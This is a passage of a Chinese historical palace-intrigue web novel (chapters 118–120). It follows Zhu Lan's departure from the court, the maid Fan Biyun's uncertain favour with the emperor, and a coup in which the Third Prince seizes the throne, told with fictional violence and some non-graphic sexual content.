暑热又起。男人的呼吸湿润了海棠，由轻而重，渐而浑浊。那夜他是恐慌，此时是焦渴。 “……兰娘。”他从胸腹中发出声音。 范碧云勾起了唇角。 第118章 第118章伞上微微雨，不知晴何…… 晌午时天色昏昏漠漠的，又卷起了风，残夏已了，不知是否要落一阵秋雨。 应怜才送走了客。 新来的女使们进进出出收拾 残盏，她便将花厅让与她们，自己默默到了廊下，一时漫无目的，茫茫地走。 客是贵客，人是故人。她从未想到，祝兰竟还活着，惊喜交加之余，互诉了阔别后的境况，自是无限唏嘘。 祝兰此来，是为重逢，却也说得明白，这一登门，往后便再不相见。 “洛京乃深险之地，我不愿再久留于此。”她道，“今日来，一是圆了与你契阔之谊；二是与你赔罪。再有，总有些事，我不吐不快。” 应怜百般地不解，“赔罪？这是哪里来的话？” 祝兰深深地望着她，“这事几经波折，我与你慢慢地讲吧。” “一切要从二三年前，一本忽入王家的账簿说起。那时我尚在扬州，为王家一疯妇。他家上下人等，皆以为我神智尽丧，便有些事当着我面做来，甚不够仔细。我从王渡的言语里得知，有一孙姓的先生，从前做得固堤度支的账房，里头曲曲道道，尽是偷省、挪用。那堤你想必曾记得，后来毁于一旦。孙先生惧怕被牵连祸殃，来到王家避祸。可笑王渡当时存着想要投效贵人的心思，稳住了他，骗得了这一账簿。 “你可知那时派去固堤的州官，十有八九是为新任？只因彼等为三王麾下之人，结成朋党，要做些政绩来，因此又要修堤、又要开河，惹得民怨沸腾。彼时我为王氏夫妇所害，幸得活命，满怀冤怨，颇费了些功夫，探听得曾与先父交好的前任扬州知州，正因二党相争事贬官外地。他自是如今官家那一头的人，急切想抓些三王的把柄。可巧，我去投他，那账簿之事便做了敲门砖——我本藉此了己私怨，但那李氏到底是你的表姐，我行此报复事，终究与你有损。这是赔罪。” 往昔的一桩桩、一件件，本以为是伶仃的琐事，如孙家投宿、王家法事，却未想它们竟串成了一条明里暗里的线，伏脉至今。应怜心中滋味百转，问：“我曾听闻王家那一起匪祸来得蹊跷，想来……” “是官府行事，为的是搜检那一本账簿。”祝兰承认得很爽快。 她这一招借刀杀人，拉仇家下水，手段实在利落。应怜无话可说，只得又问：“那……找着了么？” 祝兰点头，“我带着账簿，在知州的护保下，入了洛京，得见了官家。” 她所言并非先帝，而是时为太子的新帝。 合一合时间，那正是太子失势疯癫、朝中动荡不安的一段时日。 “我到了他身边。打头一眼，我便心知，他所患疯症，与我是一般。”她微微地笑起来，眸子里有奇异的悯色，“我自然没有你当初治我的那一碗符水，不过与他讲了些话。许是那番话与那一账簿，愈了他的病。他病症已去，便入宫见先帝，再不提什么兄弟不恭，也不提朝臣相斗，只涕零重叙父子情谊，终得了先帝一句‘吾儿知错甚善’。” “朝臣皆道他天家父子失和已久，你是否觉着纳罕，为何最终登位的是官家，不是三王？” 这些尽是宫闱秘事。所幸二人所在内室，便是有人窥听，也听不真切。然应怜仍觉着心悸，匆匆向门口瞥了一眼。 祝兰道：“这便是我要与你讲的第三件事。我想，这是他为你做的，若就此埋没了，总是可惜。” “我从此侍奉东宫。时逢先帝沉疴反复，官家便日日亲奉汤药，纯孝之至；哪怕三王口角讥讽，他也一盖揭过，不予争论，慢慢地使得先帝软了心肠。恰逢江宁叛军上表，请早已落入敌手的六王为质，触怒了先帝，便令一向善于弓马的三王再领大军前去围剿。可先帝那时已将近灯枯，大行在即，三王哪肯离了洛京，磨磨蹭蹭，又暗自群集了心腹党羽，询问对策。 “你可晓得，自你家败落，元家早已交好了三王？元四郎又是他兄弟四人中最才高智绝者，一来二去，得了那殿下十分的青眼，甚而出入随行。他向三王献了一计——先帝弥留，三王可速备冠冕仪仗，以免即位仓促，贻笑于人；又言，宫禁之中有通情者，一旦先帝大行，可速报知，三王即携冠冕绛袍入内，先定名分、后置大典。三王极善之。” “通情者，”应怜将话听在耳中，又落在心里，如巨石激荡，“……是你？” 祝兰一笑，予以默认。 “先帝心中已不再怨怼太子，从前未褫夺他名分，如今更不会。三王只得兵行险着，非如此不得登大位。一日先帝病笃，信报传出；三王未得容禀，随行即带了赶制的冠冕，闯入后宫，恰见先帝正进汤药，因此狼狈至极。近侍又搜出了绛袍与冠冕，先帝大怒申斥，本欲要贬黜三王，在元相等人苦谏求情之下，才改为了命其速下江宁剿匪，不得再拖延。三王挨不过，终领了六万兵马离京。不多日，先帝薨，官家即位。又有飞书至，言三王恸哭、哀毁骨立，以致病在途中淮宁府，进退不得。” 元相乞骸骨归乡，辞表再三，月前已终获允，连带四个儿子及其亲族，外放的外放、辞官的辞官；唯有四郎元羲，暂还领着著作佐郎的差遣，想必在这位子上也留不了多久。 回京三月，从夏至秋，元羲绝少与她会面。除了初归巧遇的那一回，他也只上门过一次，说不过几句平常寒暄，便匆匆离去了，似乎不愿与她接近一般。 倒是元羲的母亲刘氏，亲自递过一回拜帖，亲亲热热地登门，与她好一番阔谈，话里话外透着撮合小儿女的意思，磨了半日，才恋恋地去了；此后却也不再来。任从前两家怎样亲近走动，如今却成了洛京里两户最生疏隔阂的人家。 他做了这样惊涛骇浪的事，分明有拥立之功，却又宁肯寂寂埋没，若非祝兰提起，连她也不知晓。 祝兰走了。徒留应怜一个，在新的、旧的、识得的、不识得的人与物之间，百般的滋味，化作一根根细密的针，扎得心口木木的疼痛。 父母兄长皆已去，她成了顶门立户的那一个，女使奴仆见了便来行礼，问茶水问饮食、问采买问修；又有许多生的熟的脸孔，都向她摆出一样的笑，既亲热、又怜悯。他们拉着她，说各式各样的话，问遭遇的、感圣恩的，又有保媒拉纤的，那架势非从她嘴里得出个准信不可。 应怜忽心中十分厌倦，不愿再见人迎着笑来问东问西，几步顺着连廊，向着人少的去处躲避。宅院半新不旧，在密布的黯淡浓云之下，也与她一般，倦怠无力。 走不知多少步，却来到了一座假山石畔。那等身高的嶙峋山石，中有孔窍、玲珑多姿，十分地眼熟。她想起来，那正是从前在应栖院儿里的那座。 假山中有洞，能容二三个孩童挤在一处。她年幼时，常与应栖、定娘与元羲在此玩耍，若是捉迷藏，里头准保躲着一两个，一捉一个准。 应怜自己也喜爱这石洞，如今稍弯着腰，像会一个旧友似的，反倒新奇地蜷身钻了进去。曾觉十分幽奇宽敞的地面，如今直起身是不行了，她蹲坐下来，才有了七八分安稳，四面见不是石就是暗沉的云天，反倒慢慢地松了一口气。 她仍能在这处，躲一躲世人的眼光，连心事也不用想，只是发怔。 又不知多久，头顶上响起了空荡荡的啪嗒声，有几瓣水珠溅上面颊。应怜伸手一抚，外头听来，才晓得是落雨了。 秋雨卷尽夏燥，细细密密。石壁上洇出水迹，一会儿却干了，里头仍是安安稳稳的。应怜想了一回宗契，猜他如今正做什么；又想提笔给他写信，只是书信不能通，写得了，也只能压在匣子里，积得多了，成了满满一匣的絮叨。 她茫茫地地窝在假山里。外头昏暗，更不知时辰，直到蜷得累了，才后知后觉，石窍虽多，雨水渗来的却少，稀罕之下，提裙裾出了假山，却蓦地入了一青绢的伞下，便是一愣。 有人撑着伞，替她与假山遮雨，一般竹青的衣衫沾湿在空濛的 细雨里，愈发轩朗滴翠，真如一株修挺的青竹。 “你何时……”她心绪如潮涨落，望着半边肩头有些湿意的元羲，话不知从何而起，“……你怎不出声？我竟不知你来了。你今日如何来了？” “是你想得出神。”元羲道，“偶然路过，便想来瞧一瞧，因此未及投帖，你莫要责怪。” 应怜横了他一眼，“你来何须什么拜帖？是你自己生分，我回洛京三月，通共见了你三面。” 外头细雨绵绵。二人在一张伞下，慢慢地往回走。元羲温温郎朗地与她辩解，嗓音已有了青年人的低沉，道近来家事繁杂，为父亲辞官之故，与人总该避嫌。 “方才我听老仆道，宫中有人来？”末了，他随口问。 应怜笑了一声，“若她不来，你想必仍不会偶然路过吧？你何时这样多心，怕她与我说什么呢？” 元羲面上瞧不出忐忑，只是顿了顿，才道：“无论她讲什么，惜奴，你信我。” 一路行至附近一座翘檐的小亭里，应怜捡了一张倚栏的长凳，与他同坐下。二人并肩瞧亭外濛濛的湖面上雨丝风片。 她问了他家中近况，又安慰了一些闲云野鹤尽逍遥之语；他也一一作答了，又替母亲的唐突登门致歉，道那是家大人一厢情愿，非他本意。 那假山石嶙峋孤独立于池畔，早已不见了从前猫着腰捉迷藏的玩伴。物是人非，掩人心事，不过如此。 第119章 第119章红去碧来深深锁，朱墙…… 自那日之后，官家便常背着祝兰，私幸范碧云。 按理，这事不当偷偷摸摸，只是官家对此甚多心虚，回回范碧云问起名分，只推说前些时才进了一批佳丽，不好此时又添，意竟在不许。 范碧云哪里不晓得他真正的心思，不过是兔子吃了窝边草，怕祝兰耿耿于怀而已。却委屈了她，承的是天家的雨露，守的是宫婢的卑贱。 徐徐图之。她在心底这样宽慰自己，这样的事，便如纸包火，哪里能瞒得住，祝兰迟早要晓得，到那时便捅破了这一层纸。自己终究能得个嫔妾的位份。 只是一日两日没动静、三日四日还遮掩，到了半个月头上，范碧云愈发地不能平心静气，逮着一回，恰与官家厮混时，“不慎”勾破了燕服袍袖。宫中风气奢靡，官家损了一处袖口，这衣裳便得弃置。范碧云却留住他，温温软软地劝：“民生多艰，民力不易。官家体恤百姓，如何为了一只袖子便扔了这衣裳？奴试为补全便是，只是您不要嫌奴针线粗陋。” 这话在人听来，既贤良又温情。官家不由得心悦，又对她刮目相看，“你补来一试。” 当下褪了外袍。范碧云也不教多等，将现成的锦绣丝线比了几个色儿，本就手巧，更用了十二分心思，细细地补来，非但丝毫不露痕损，又于袖口绲缘上绣了一片素逸的祥云，较尚衣局、文绣院更不差分毫。 官家赞叹之余，自又多了几分昵爱，尤其把玩那双玲珑无骨的小手，好一番床笫里颠倒狎玩。 今日他便未换衣衫，就着那只缀了祥云的衣袖，昏时又至，与祝兰一道用膳。 席间范碧云垂首侍立一旁，偷眼瞥祝兰神色，见二人如常说话，官家举箸饮酒，扬手抬袖之间，不经意将那云彩露在人前。她分明瞧见，祝兰某一时刻动作忽滞了下来，目光凝在那云上，其后，连笑容也仿佛勉强了几分。 官家归罢，祝兰回转。范碧云的心狂跳起来，忐忑而激动地等着即将爆发的诟骂或斥责。 然而祝兰回屋，只是轻飘飘瞧了她一眼，如往常一样，问了几句绣活，排布了值夜，便不再多言，自掌了灯，饮茶去了。 一切彷如无事发生。秋风夜起，渐渐吹凉了范碧云那颗狂热的心，也吹醒了她的脑袋。 她咬牙冷笑，肚内骂祝兰好个缩头的乌龟，竟给她来了个佯作不知！ 她这厢忿忿地倚着墙冲盹儿去了；祝兰却就着灯火，又继着先前未写完的书信，添了寥寥数语，待墨渍干了，依旧锁进墨宝的匣儿里，这才吩咐漱洗。 转过两日，一大清早，中宫里有人匆匆地来请，道宝慈宫内，太后又为着毫毛的小事与皇后闹将起来，眼见着要闹出阵仗，万要祝兰去走一趟，好生开解开解。 祝兰插手这杂乱令人头疼的事，也不止一回两回，闻听人言，囫囵填了两口点心，交待几句蕙兰台中事，便跟着去了。 她也未吩咐再要范碧云什么绣品。范碧云便难得清闲了下来，只是今日自晨起，便有些饮食不济，不知是否夜来受了寒凉，正坐在廊下歇息，忽耳闻一阵啁啾的清鸣，睁眼来看时，跟前对面，一枝竹梢上，却停了一只黄嘴的白雀儿，百种啼声清扬婉转，也不惧人，红宝似的两眼盯着她，高低枝头地扑飞。 那竟是一只十分稀罕的白画眉，百金难求，想必是谁的爱物，撒手弄丢了去。它叫声实在动听，范碧云不禁起了喜爱的心思，悄悄地踱到小厨房，抓了一把黄米，伸手捧着，一动也不动地觑着它来食。 人养惯了的雀儿，胆十分地大，三两下便不怕她，竟扑腾着啄她手心里黄米。范碧云瞅个空，一把合了手掌，将个欢蹦乱跳的画眉拢在了掌心里，喜笑颜开。 许是这宫里一样脸孔百样心的人见得多了，她便越发喜爱这扁毛的畜生，东西两处地找，寻思哪里弄只笼儿，将画眉养了；正廊下走动着，忽泼剌剌涌进一帮人来，靛灰的是内侍、葱青的是宫婢，另有七八个妇人，皆是乳母，团团围簇着一个锦衣的龆龄幼童，吵着嚷着，四面要寻什么物事。 当中一个眼尖，隔着半个院子瞧见范碧云，点指着便言语什么。那幼儿怒气望来，也跟着点指，一边来一边嚷：“那婢子！你手捧的可是白刺史！” 宫禁里横行的孩童，不用想也晓得是天家贵胄。既是他处走失的雀儿，便再不能为范碧云所有。她只得老老实实地应一声，捧了过去。 那也不知是排行第几的小殿下，得意之余，又咬牙切齿，“教我在七哥跟前丢人！要死的畜生，我便拿它去喂狗！” 范碧云没走两步，听得那样的言语，又觉手心里毛绒绒一团，白刺史两只豆大的小红睛眼巴巴透过手缝儿望着自己。她也不知如何，忽地便想起自个儿曾辗转在人家手底下讨生活的可怜样儿。 她一脚绊在了廊外小阶前，惊呼一声，扬手飞了受惊的画眉，待小殿下怒火攻心地赶来了，顾不得揉搓发疼的膝盖，瑟瑟地跪了下来，不住告罪。 “好哇！你丢了我的白刺史！”小殿下恼得跳脚，指在她脑门上怒斥，“我要打你！” 乳母手忙脚乱地拦不住，终是范碧云情急之下，为了自保，求告道：“殿下若宽恕，奴可做一只漂亮的小雀儿，毛羽璀璨，保准殿下喜爱！” 小殿下将信将疑，为她再三求饶不过，才高了高手，命道：“那好，明日你便做来，若果真不错，便饶了你失物之罪；否则，我定告娘娘，重重地罚你！” 范碧云千恩万谢，忙忙地答应下来。 饶是如此，为出心中一口气，小殿下仍令盯着她在廊下跪足了一个时辰，这才揭过不提。 范碧云回到屋中，已是日午，膝头痛胀，肠胃里难受，因着承下大话，又不敢耽搁时辰，捉了剪子裁开布，马不停蹄地又开始绣起雀儿的眼眉来。 她做这些，是连绣样也不用画的，早已熟稔在心，手中忙活不停，心里却胡思乱想；一时想那雀儿在手心里还没焐热，一时又想那孩子托生得好，从娘娘肚里一出来便是人上人，哪像她家小郎，什么玩意儿也没有，只有姐姐拿碎布断线为缝的那几只布老虎、布小鸟…… 祝兰忙乱了一个上午，好容易将那对婆媳各自劝哄开了，得了几句夸赞，饥肠饿肚地折返回了蕙兰台。 还未进院，紧挨着墙垣的一洞花窗下，却恰瞧见了对面窗牖 半扇，空着的里头坐着一人，隐隐不大真切，举着手来回晃着。 她脚步顿了顿，仔细望去，半晌瞧清，却是范碧云，尖尖的下巴，小巧的眉眼，手里捉着个七彩斑斓的物件，自个儿与自个儿玩闹。 屋后的窗与墙挨得近，院前听不着，院后却隐隐能闻听。她在自说自话： “啾啾鸣不休，东西南北头。黄莺黄莺去复来，来到小郎屋上头……” “扑扑飞不休，东西南北头。画眉画眉去复来，来到小郎屋上头……” 祝兰饿着肚腹，微微捂着，火烧火燎地仿佛到了心里，空落落地难受。她抬脚要走，那声儿却停了。 她不由得又扭过头去瞧，却见屋里青春正少的女孩儿，也白着脸、皱着眉，低头捂嘴，仿佛要吐，好一会儿才缓过了劲，怏怏地坐在一边，也不去耍那只布雀儿了。 她发怔；她也发怔。 不知她心里想着什么；祝兰却想通了：何苦为难她。 她跨入院子，各处惫懒的宫人们皆出了来。慌慌促促出来的，还有范碧云，抿着嘴，面上摆开的是一贯澄澈的笑意。 祝兰教张布饭菜，慢慢地吃了一会，肚腹里这才缓了，教旁人出去，只留范碧云一个侍奉。 范碧云为她正剃鱼骨。祝兰问：“我记得你家在洛京？” “是。”她低着头，筷子不停，“只不在城里，在二十里京畿处。” “家中都有谁？” “我娘；还有个兄弟。” “多大了？”祝兰又问。 范碧云觉着她此问稀奇，不由得抬眼瞧了一瞧，很快又垂下头去，“今年八岁了。” 她将剃了骨刺的鲜嫩鱼肉奉上来。 祝兰瞧着她，“想家么？” 范碧云迟疑了一会，觑她面色。 祝兰便清楚，她不是不知想不想，而是不知怎样答才更讨自己欢心。果然，片刻后，她答：“我娘已将我卖了……但为人子女，哪有不念亲人的。” “那我放你出宫，可好？”祝兰道。 范碧云不知她今日吃错了什么药，心思百转，便想明了：必是此女善妒，已晓得她得了天子爱宠，明面儿上不说，却故作好心，要遣散了她。 从前蕙兰台里不受待见，日夜劳苦，没见祝兰放她走；如今她已沾了雨露，眼瞧着脚下一条通途，却饶她来假惺惺。 范碧云哪里肯依，忙求道：“娘子不要我，我能哪里去？那家我是再不回的，情愿留在宫中，与娘子为伴！娘子便将我作个猫儿狗儿，得闲时耍上一耍，我也愿意的！” 迎着她百般乖巧笑脸的，是祝兰久久沉默凝望的目光。 当真奇怪，范碧云觑上一眼，极不真切地觑见了里头隐隐的怜悯。 她搁了牙箸，拜伏在地，“求娘子留我在宫中吧！” 祝兰仿佛一尊被她跪拜的泥塑观音。长久地、从头顶上方传来了她的一声叹，以及一句令她回过味后激动不能自已的话： “既如此，请尚药局的奉御来按一按脉吧。” 凡诸宫人、内侍，病者只可自去尚药局求诊，或移居别院安置；请来奉御按脉的，必得为嫔御之列。祝兰这话，即是认了她的名分，更宣之于诸人。以此为凭，不久之后，她便能获一进封。 范碧云喜不自禁，正要再拜，祝兰却摆手，“你身子不爽利，先回去歇着，诊过再说。” 这才点醒了她，才想到，已大半个月未见信至，难道…… 范碧云如踩着轻飘飘的云团，手脚发软地回了屋，肠胃里那一点不舒坦早已被抛在了脑后，直待奉御到了眼前，她仍有些回不过神。 算算次数，猫儿偷着腥也总有个十几回，她又正值年华，若真能诞个一儿半女，从此便当真一飞冲天了。 …… 奉御按了脉，点点头，开了张方子，向一旁的祝兰恭敬答言：“是受了寒凉，又因年少，气血不足。无妨，用些调补的饮食即可，近几日不可多沾油腥。” 范碧云那一点愈涨愈大的心思，嗖一下又被一针扎破，难堪得面孔上火辣辣的，勉强谢过了奉御，再不敢胡思乱想了。 翌日，祝兰又有事出宫，带了个轻省的荷包，又留了一只带锁的匣儿与范碧云，丢下话来：“这一匣，你收着。目下用不着，过几日再打开。” “这里头盛着什么？”范碧云纳闷，又问，“娘子要去哪里？” 祝兰却不答，待出得廊阶下，映着秋晴方好，在和煦的金风里，仰头上望了望。 范碧云也跟着上望了望，却只除了四四方方碧瓦琉璃的宫墙，余下什么也没瞧见。 “我走了。”祝兰今日不教人跟随，独自一个，遣了旁人各自去做事，唯剩了范碧云一人在侧。她难得迟疑了一下，“你……” “娘子有何吩咐？”范碧云忙问。 “那回你将我丢在马车里……” 范碧云就怕她翻旧账，慌不迭地插言表忠心，“我再不敢了，娘子宽宏……” 祝兰望她，如那日她望手心里拢着的白画眉，眸中有了怜悯，更有一份释然，微微笑了笑，使得向来那一张略显苍白的面上增添了鲜活的颜色，“行了，咱们扯平了。” 说罢，她赶她回去，独自慢慢地离开了宫苑。 范碧云不大懂，以自己的心思揣度，兴许她指的是这些日被反反复复剪碎的绣帛。她未深想，总之已过了明路，便携着一份对未来殷殷的指望，含笑回了深深的宫墙。 第120章 第120章昨霄冲天去，今日下江…… 谁也未曾想，祝兰走得那样决绝，不仅舍弃了蕙兰台里所得的一切，连天子的荣宠、锦衣玉食的生活也抛置在了身后。 头一夜时众人虽私议纷纷，却还可瞒了不报；第二日仍不见归，宫人们着了慌，因着范碧云新得宠，俨然将她推作主，催着她去寻一寻。 范碧云也六神无主，又委屈置气起来：“她是两只脚的活人，官家允她宫外行走，我又怎晓得她去了哪儿？怕不是她这一走，合该咱们全抵了命就是！” 就这样惶惶到了第三日，事终漏了，官家亲来蕙兰台质问答对，闻听得早三日前她人便走了，一怒之下，气得头脸涌上血来，手足却冰凉，睨着抖索跪了一地的宫人内侍，发白的唇颤颤巍巍，也不知点指谁，“找、给朕找……” 范碧云跪于下首，也不知怎么灵光一闪，猛地一拍脑门，叫道：“娘子有一物留下了！” 官家教她拿来，正是那只四四方方的小匣儿；着人勾解了锁，揭开匣盖，却见了里头几张薄薄的书信，头一封便是写与他的。 官家不住地颤着手，甚连紧攥的书信也颤个不停，白纸黑字，目视了一遍又一遍。 范碧云瞧不见写的是什么，但见一向来高高在上的天子，面色由恼怒的涨红转为铁青，渐而白了下去。他抄起手边的莲花金盏，似是想掼，半晌却又未掼下去，重重摔回桌上，震得茶水四溢，沾湿了袍服也不觉。 他又将其下的书信拈开来瞧，一目十行，已颓丧而沉默。 后宫的仪仗还在廊下等候。李胜儿久等在侧，见官家也不知要出神到何时，凭着亲近得用，小心翼翼问了句，“可使皇城司追回……？” “不必了。”官家又沉默良久，失了力一般，摆了摆手，又目视垂首而跪的范碧云，语声艰涩，仿佛为外人所使，不得不如此，“擢此女暂辖蕙兰台，一切如旧。” 说罢，起身缓缓而归。 圣口玉言，点了范碧云为蕙兰台之主，此地便全能照旧，不必封宫贬黜；却又没给个准信，究竟要擢成哪一品秩，从这一日起，便成了一笔糊涂账。 祝兰的消失成了后宫中的一则禁忌，无人敢提、无人敢问，只当此人从未出现过。蕙兰台果然一切照旧，范碧云心惊动魄之余，一面颇感庆幸，思忖祝兰留下的手书里，恐怕为自己及蕙兰台求了情；一面又颇为困惑，乃至焦躁，以致官家几次来时，她实在忍不住，旁敲侧击问了几回进品之事。 是的，纵然失了祝兰，官家也仍常幸蕙兰台。念旧伤情是一码事，宠爱小意伶俐的范碧云是另一码事。 因此范碧云敢问，也因此官家皱了几回眉头，末了含糊搪塞了一句，“皇后处正拟序品秩，你等着便是。” 说罢，又教她穿着祝兰的旧衣，趴伏在锦褥里。湖青的帘帏一下，男人的恩爱冰冰冷冷，范碧云喘不过气，唯觉后方耳畔传来的声音像兽一般急切且无人伦，“兰娘、兰娘、兰娘……” 她恨极了这聒噪的声音，却只敢低低地应“我在”。一旦稍稍放浪形骸，松懈了去，那男人便毫不留情地手掌抵住她后脑，威胁似的，“不许回头！” 都道床笫之间千奇百怪。范碧云想，此人恐怕全将她视作了祝兰的替身。可笑堂堂一人主，掩不去骨子里的懦弱平庸，不敢留下真正想要的人，却只在旁人身上发泄扭曲的欲。望。 她虽瞧不起，却也不大在意，唯独在意的是——皇后将她的品秩定下了没？ 怎奈朝中也不知发生了何事，官家的神色日渐凝重，来蕙兰台的次数也愈见稀少。眼见 着仿佛便要失宠，名分又迟迟不定，范碧云心里呕得要死，回回还得穿着祝兰稍显宽长的小衣，陪着他逢场作戏。 有一回，她实在忍不了，颠鸾倒凤之时，趁他销魂已极，便扭回头，将那双蜜一样的含情目望向他，“官家……” 才说了两个字，对方倏然而怒，猛地从对祝兰的肖想回忆里分出神，又不知想到了什么，面容骤然铁青，草草地完了事，唤人来侍奉穿戴了，抬脚便走。范碧云自知惹了祸，苦留不住，眼睁睁瞧着富贵权势从她身边水一样流走了。 自此，官家再未幸临蕙兰台。 迟至她被冷落，范碧云也还未捞着个品秩，名为蕙兰台之主，实则与宫人的奉例一般无二，内心颇感耻辱。 外头局势无论怎样紧张，风声递不进她小小的蕙兰台。从秋至冬，这些时日，范碧云忙活的是另一件事。她偕同此处零零落落所剩无几的几个宫人，找来了祝兰从前的墨宝，摹着她的手迹，学那风骨刚正的笔体，一遍又一遍。 有从前元郎君教予的手书要诀，她磕磕绊绊，好歹是仿出了一封瞧不错眼的书信，塞在套子里，假作祝兰曾写，便以此为由，辗转托人情面，直至求到李胜儿跟前，说动官家念起旧情分，再踏足一回蕙兰台。 宫人们扫尽了宫苑的秋叶，于初冬一日，迎来了圣主再幸。 范碧云这回再不敢拿乔，想通了个中情由，也并未再如祝兰一般妆扮，却简单梳了个发髻，好似个扬州的小女使一般，留官家晚膳时，主动谈起往昔祝兰在王家的一些旧事。撇了坏的、捧起好的，有的没的一通瞎讲，自然都是祝兰从未提起过的事，果然勾住了官家的欢心；她趁势又取出那封书信，道是祝兰从前的一封家书，两下里细细地瞧看，共忆旧人，唏嘘了一番。 眼见着天色将晚，李胜儿问何处歇驾，官家瞧着范碧云乖巧秀丽的面孔，沉吟片刻，“蕙兰台歇了。” 范碧云心中得意，且观今日模样，她可不必再是祝兰，床榻之间，也好做一回自个儿，要官家眼里真正瞧得进“范碧云”此人。 晚间，她娇羞晕红着双颊，侍奉天子就寝。 宽衣才至一半，外头闹来些嚷嚷的声儿。李胜儿出去斥责，片刻却回来，谨慎小心地禀道：“是皇后处来人，道她身边的魏美人不大好，夜间惊厥。” 官家悚然而惊，急急地披衣，顾不上呆怔的范碧云，催道：“去瞧瞧。” 他来得快、去得也急，范碧云委屈地唤了一声“官家”，却只得了一句，“你自歇了。” 她恨得几乎绞断了指甲。咬牙心中骂那魏家贱婢，仗着面貌上有几分生得像祝兰，不过也是皇后手里的一只狗儿，争宠的手段实实上不了台面！ 她这厢肚里含着气，迷迷糊糊睡了，却哪料到是祖坟冒烟，祖宗八辈舍了神魂来保她，这才不至一刀成了宫墙里冤死的鬼。 转过天来，瞧着又是冷冷淡淡的入冬时节，还未过年，宫城里便换了天。 原来早在月前，三王的兵马未至江宁，便打着主帅病重的幌子回师，大军乌泱泱压至洛京城外五十里，三王却借故不还兵符，朝中正是为此争执了半个多月。局势日渐紧张，三王递出书信，道是要学三代周的建制，裂土封王，也不要好地，哪怕就将荒漠如凉州的土地割与他，他便就此赴国，永世再不回洛京。 未料想此招是缓兵之计，禁军尚未动，一日夜间，三王却带精兵强将，与早买通的閤门守官按照既定的时辰，赚开了宫门，径入内苑，寻到正在宫妃处歇宿的官家，揪将出来，本欲囚禁后再逼禅让，又不知怎的，稀里糊涂一刀捅了个对穿。 三王郭禧正自懊恼，一见小殿内室里慌乱逃出来个女子，正是方才陪驾的宫妃。她魂丧胆裂，指着死不瞑目的血人一样的天子，浑身寒噤说不出话。 情急之下，郭禧身边的武将一把揪将她来，一刀割下了宫妃头颅，血淋淋地高举着呼喊，“刺客已伏诛！余贼杀尽，莫放走一个！” 就这样，此夜本当在蕙兰台范宫人处歇宿的官家，莫名其妙成了先帝；而谎称夜惊争宠的魏美人，含冤受屈地成了谋逆的刺客，连带三族，其后一齐被夷灭。 转过一夜兵荒马乱，平明日起，百官入朝，正打算接着摩拳擦掌，再吵一顿嘴架，争那三王是否该受列土封疆，却愕然发现，争议的中心——三王已自侧立在了金銮殿上、御座之旁。 更令人惊恐的是，三王非着常服，却着衰衣麻绖，满目哀恸，道昨夜因有逆贼谋叛，行刺了先帝，以致山陵崩，如今率土之滨无主、天下之臣无父，自己心乱如麻，还望百官拿个主意。 若按惯常，百官之首，当推元相率先表态。可如今元相辞官，相位一时虚置，臣子们你望我我望你，有一刻谁也不敢先发话。偌大朝廷杳然寂静，针落可闻。 僵持不是良久之策。有人终出班站列，已是离御座遥远、却靠近门廊之处，是个无足轻重的小官。 “臣议，先帝既行，虽治国丧，却乞殿下登位，先统臣民而后服斩衰。其由有三。” 那小官虽只六品，绯色官袍著身，望之却愈发清隽，声言郎朗，震荡殿堂，其人其声皆如玉琅玕，有君子之器。 这样大事，本不该一六品官先定调。然众臣目望是他，各自心中雪亮，无人扫兴，来驳他话头。只因他是元家郎君，早便才绝名满洛京；又只因元家与三王亲厚，阖朝人臣皆知。 元羲铿锵之声如金石，久久在朝堂回荡： “——其由有三。一，国不可一日无君，如人不可一日无首。先君已去，哀虽甚矣，却当早立新君，此为夺情而顺天；二，继位大统，乃从嫡、从长，顺位不可逆乱。先帝乃元慈太后嫡长，既已崩，按行次而下，二王早薨，论长当属三王继位；三，内外臣民皆知，三王勇直信智，强体仁心，且早已立世子，嗣位顺矣，国祚绵延。三者并立，国统非三王不属，民心非三王不顺。臣虽微末，愿请天子登极，固效死而已！” 说罢，一躬在地，行了人臣大礼。 他先定了调，其后若再有人异议，便是不识时务了。 当班朝奏之中，也有小声议论几位年幼的皇子的，但在愈来愈多的拥三王为君的主调之中，逐渐声微不闻，乃至淹没于洪流之中。 原本亲附官家的一干旧臣，譬如敌已至而结城下之盟，哪有的选；不情不愿地，含糊其辞，心中却清楚大势已去。从前他们有多针对三王，以后的宦途便有多难窄险。有些行礼之时，已在默默打算效仿元相，寻个事由便辞官去；有些心里却艳羡起那小小的六品著作佐郎来：瞧人家元官人，振振其词，今日一役毕了，还不知怎的得新君青眼，要扶摇直上呢。 三王郭禧麻服之下，心喜却仍面悲，请了众臣起身，仍按三辞三让的 规矩行事，辞过了第一回，勉强应了周公之职，暂行辅政之权；当日下朝，留了几位老臣议事，又亲令元羲也留在侧，一并商议先帝葬殓之事。 中朝的事传到后宫，已是半日之后。各处宫禁之中，唯见禁军突闯罗列，纷乱了两个时辰，到得天亮，便又有了森森的秩序。以从前的太后、如今的太皇太后为首，其次端坐着已顺位的太后，以下嫔御美人，凡曾承恩在册者，皆罗列在宝慈宫内外，拥着尚且年幼的几位皇子公主，瑟瑟然惶恐围聚，不知命运前途为何。 当此人心惶惶之际，却独走漏了一个美人，便是蕙兰台的范碧云。 全因从前的官家、如今的先帝庸懦反复，虽与她早有首尾，却迟迟不见册封。范碧云没个名分，享不了嫔御的富贵，如今却也不必领受嫔御的遭遇，只是一颗心怕得像秋风里的旋叶，无着无落，与几个宫人闭门瑟缩在内，饿着肚子，从早候到晚，连头也不敢冒一下。 直等到入夜，才有秉着灯火通夜传告的内侍，道先帝殡天，在册后妃嫔御，一品四妃以上及有子者，不移宫、不减奉；四妃以下、二品以上如淑仪昭容者，移居别宫；再下的在册嫔御，通通发出宫门，为先帝守陵。 余者宫人内侍，例行不变，各宫侍奉。 范碧云总也不愿一辈子守那劳什子的陵，因此向那几名同样惊惶的宫人，悄声道：“咱们蕙兰台同气连枝，我若不得好，你们也必吃挂落。从此后，无论谁来对质，咱们只是一般的宫人，官家从前幸的都是祝娘子，可记住了？” “内起居注上记得明明白白，你怎样差对？”一个小宫人道。 范碧云答不上来，胡赖道：“兵荒马乱的，谁顾得上内起居注？你们只休提这茬儿就行！” 实则她心里也没个定准，不过想着一贯来运气不错，连抵命的事都有那替死鬼魏美人做了，那便再赌一把，赌那诸后宫娘子们急着灭自家的火，无人记起她来，她便可逃过这一劫去。 一日、两日、三日、四日，无人再来蕙兰台。 新挪进宫的一后四妃九嫔，纷纷忙乱眼前的事，暂且顾不上整肃内宫。蕙兰台仿佛被遗忘了。 她赌对了。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 120-130 第121章 